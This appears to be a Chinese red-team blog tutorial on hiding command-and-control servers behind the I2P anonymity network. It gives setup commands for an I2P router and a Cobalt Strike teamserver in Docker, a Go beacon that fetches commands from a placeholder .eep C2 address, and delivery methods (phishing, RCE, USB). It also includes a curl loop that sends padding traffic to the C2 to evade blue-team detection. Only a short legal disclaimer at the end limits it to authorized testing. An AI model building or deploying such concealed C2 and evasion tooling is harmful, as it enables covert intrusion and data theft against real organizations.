一、从暗网安全事件说起

2022年，一起涉及I2P网络的黑客攻击事件引发广泛关注——某威胁组织利用I2P匿名网络隐藏C2服务器，通过复杂的流量伪装技术规避检测，成功对目标企业内网实施了数据窃取。相比传统的Tor网络，I2P提供了更复杂的流量转发方式和去中心化架构，使得攻击者能更加隐秘地隐藏踪迹。

从攻击者的视角来看，I2P是一个极具潜力的武器：它不仅能隐藏通信流量，还能充当恶意软件的分发渠道，同时为C2搭建提供了极高的隐匿性。在这篇文章中，我会从红队实战的角度，深度解析I2P匿名网络的技术原理以及如何使用它在攻击中发挥作用。

---

二、I2P匿名网络的原理拆解

什么是I2P？

I2P（Invisible Internet Project）是一个去中心化的匿名网络，专注于保护通信隐私。它的设计目标是让用户能够在完全匿名的情况下进行点对点通信。与Tor不同的是，I2P主要处理的是内部流量（即“暗网”流量），而不是与表面网的桥接通信。

I2P的核心技术主要包括以下几个方面：

  • 隧道构建：I2P通过双向隧道（Inbound和Outbound）来传输数据，每个隧道由多个“跳”（hop）组成。
  • 路由器节点：用户的设备同时充当路由器和客户端，可以转发其他人的流量。
  • 去中心化架构：没有单点控制，所有流量通过分布式节点动态传输。
  • 加密机制：数据在传输过程中通过端到端加密，确保无论是客户端还是中间节点都无法解读内容。

为什么I2P适合攻击者？

  1. 隐匿性极强：攻击流量被混淆在海量匿名通信中，难以区分。
  2. 动态路由：即使目标发现某个节点，攻击者的实际位置依然难以追踪。
  3. 匿名服务支持：I2P允许搭建匿名服务网站（即.eep地址），非常适合隐藏C2服务器。

以下是一个I2P通信的流程简化图：

<pre><code class="language-plaintext">Attacker --&gt; Inbound Tunnel --&gt; Intermediate Nodes --&gt; Outbound Tunnel --&gt; Victim</code></pre>

---

三、搭建实战环境：使用I2P隐藏C2

环境准备

  1. 攻击机：Kali Linux 2023.2
  2. 目标机：Windows 10 企业版
  3. 工具：
  • I2P路由器（Java版）
  • C2框架（推荐Cobalt Strike或Sliver）
  • Docker（用于搭建匿名服务）

攻击机安装I2P路由器

通过以下步骤在攻击机上配置I2P环境。

  1. 下载I2P安装包：

    2. <pre><code class="language-shell">wget https://geti2p.net/_static/i2pinstall_1.9.jar -O i2pinstall.jar</code></pre>

  1. 安装I2P：

    2. <pre><code class="language-shell">java -jar i2pinstall.jar</code></pre>

  1. 启动I2P路由器：

    2. <pre><code class="language-shell">cd ~/.i2p ./i2prouter start</code></pre>

  1. 访问I2P控制台配置：

    2. 访问 http://127.0.0.1:7657 ，确保路由器成功启动并连接到网络。

通过I2P搭建匿名服务

攻击者需要在I2P网络中搭建一个匿名服务，用于隐藏C2服务器。

  1. 创建一个匿名网站（Eepsite）：
  • 进入I2P控制台，选择“内部设置”。
  • 创建一个新的“隐匿站点”（Hidden Service），分配一个地址。

黑客示意图

  1. 使用Docker部署C2服务：

    2. <pre><code class="language-shell">docker run --name c2_server -p 80:80 -d cobaltstrike/teamserver</code></pre>

黑客示意图

  1. 配置I2P服务绑定：

    2. 在I2P控制台中，将匿名地址绑定到Docker服务端口。

---

四、Payload构造与部署

构造I2P支持的恶意载荷

为了让恶意载荷能够无缝与I2P网络通信，我们需要对普通载荷进行改造，使其支持I2P流量转发。

以下是一个使用Go语言编写的Payload示例：

<pre><code class="language-go">package main

import ( &quot;fmt&quot; &quot;net/http&quot; &quot;os&quot; )

func main() { // I2P服务地址 target := &quot;http://your_i2p_service_address.eep&quot;

// 构造HTTP请求 resp, err := http.Get(target + &quot;/command&quot;) if err != nil { fmt.Println(&quot;Failed to connect to I2P service:&quot;, err) os.Exit(1) } defer resp.Body.Close()

// 处理响应数据 buf := make([]byte, 4096) n, _ := resp.Body.Read(buf) fmt.Println(&quot;Response from C2:&quot;, string(buf[:n])) }</code></pre>

部署载荷到目标

在实际攻击中，可以通过以下方式将Payload注入目标：

  1. 铓鱼攻击：发送伪造邮件，诱导目标运行载荷。
  2. 漏洞利用：结合RCE漏洞直接注入。
  3. U盘传播：制作伪装的可执行文件。

---

五、如何绕过流量检测？

即使使用I2P隐藏通信，蓝队仍可能通过异常流量模式检测到攻击行为。因此，攻击者需要进一步伪装流量。

使用混淆技术

  1. TLS+I2P：在I2P流量之上叠加TLS层，模拟合法网站访问。
  2. 流量填充：通过定期发送无意义流量，干扰流量分析工具。

以下是一个生成伪造流量的Shell脚本：

<pre><code class="language-shell">#!/bin/bash

while true; do curl -X POST http://your_i2p_service_address.eep/fake_path -d &quot;random=$(date +%s)&quot; sleep 10 done</code></pre>

---

六、个人经验：如何在实战中发挥I2P的威力？

从我的经验来看，使用I2P最大的挑战在于部署和流量优化。以下是几点心得：

  • 要深度了解I2P的工作机制：尤其是隧道构建和节点路由，能帮助你更好地优化攻击流量。
  • 结合其他匿名技术：例如VPN+I2P组合，进一步增强隐匿性。
  • 谨慎使用攻击工具：如Cobalt Strike等框架可能会暴露特征，使用自写工具更安全。

黑客示意图

---

七、法律声明与安全警告

本文仅供授权的安全测试人员学习使用。任何使用I2P进行非法攻击的行为均属违法，作者不对读者的任何违法行为负责。请务必在合法范围内使用技术能力。